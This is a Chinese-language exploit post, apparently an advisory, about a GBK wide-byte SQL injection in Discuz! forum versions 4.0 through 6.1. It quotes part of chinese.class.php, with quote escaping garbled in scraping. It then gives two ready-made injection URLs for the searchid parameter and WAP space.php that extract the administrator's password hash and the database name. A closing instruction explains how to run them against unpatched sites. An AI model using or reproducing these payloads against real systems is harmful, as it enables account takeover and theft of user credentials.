影响版本: Discuz!4.0.0 Discuz!4.1.0 Discuz!5.0.0 Discuz!5.5.0 Discuz!6.0.0 Discuz!6.1.0 描述: Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。Discuz! 在代码质量，运行效率，负载能力，安全等级，功能可操控性和权限严密性等方面都在广大用户中有良好的口碑 由于 PHP 对 多字节字符集的支持存在问题，在各种编码相互转换过程中，有可能引发程序溢出和程序错误 提交一个 \’ 转意成 \\\’ 然后转成gbk的，\\和\’就变成两个字符了 \’就可以成功的引入 测试方法: 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负! 复制代码代码如下:if(defined(\’IN_DISCUZ\’)) { exit(\’Access Denied\’); } define(\’CODETABLE_DIR\’, DISCUZ_ROOT.\’./include/tables/\’); class Chinese { var $table = \’\’; var $iconv_enabled = false; var $unicode_table = array(); var $config = array ( \’SourceLang\’ => \’\’, \’TargetLang\’ => \’\’, \’GBtoUnicode_table\’ => \’gb-unicode.table\’, \’BIG5toUnicode_table\’ => \’big5-unicode.table\’, ); function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) { $this->config[\’SourceLang\’] = $this->_lang($SourceLang); $this->config[\’TargetLang\’] = $this->_lang($TargetLang); if(!function_exists(’iconv’) && $this->config[\’TargetLang\’] != ‘BIG5′ && !$ForceTable) { $this->iconv_enabled = true; } else { $this->iconv_enabled = false; $this->OpenTable(); } } function _lang($LangCode) { $LangCode = strtoupper($LangCode); if(substr($LangCode, 0, 2) == ‘GB’) { return ‘GBK’; } elseif(substr($LangCode, 0, 3) == ‘BIG’) { return ‘BIG5′; } elseif(substr($LangCode, 0, 3) == ‘UTF’) { return ‘UTF-8′; } elseif(substr($LangCode, 0, 3) == ‘UNI’) { return ‘UNICODE’; } } function _hex2bin($hexdata) { for($i=0; $i < strlen($hexdata); $i += 2) { $bindata .= chr(hexdec(substr($hexdata, $i, 2))); } return $bindata; } chinese.class.php (utf-8不能利用) searchid=22%cf\’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit /space.php?username=%cf\’%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,password,50,51,52,53,54,55,56,57,database(),59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84%20from%20cdb_members%20where%20uid=1/* 直接放在url后面可以爆出ｉｄ＝１的用户密码，还可以自己根据需要更改，要注意一点的是，目标必须开了WAP，而且没有打上补丁，WAP浏览吧
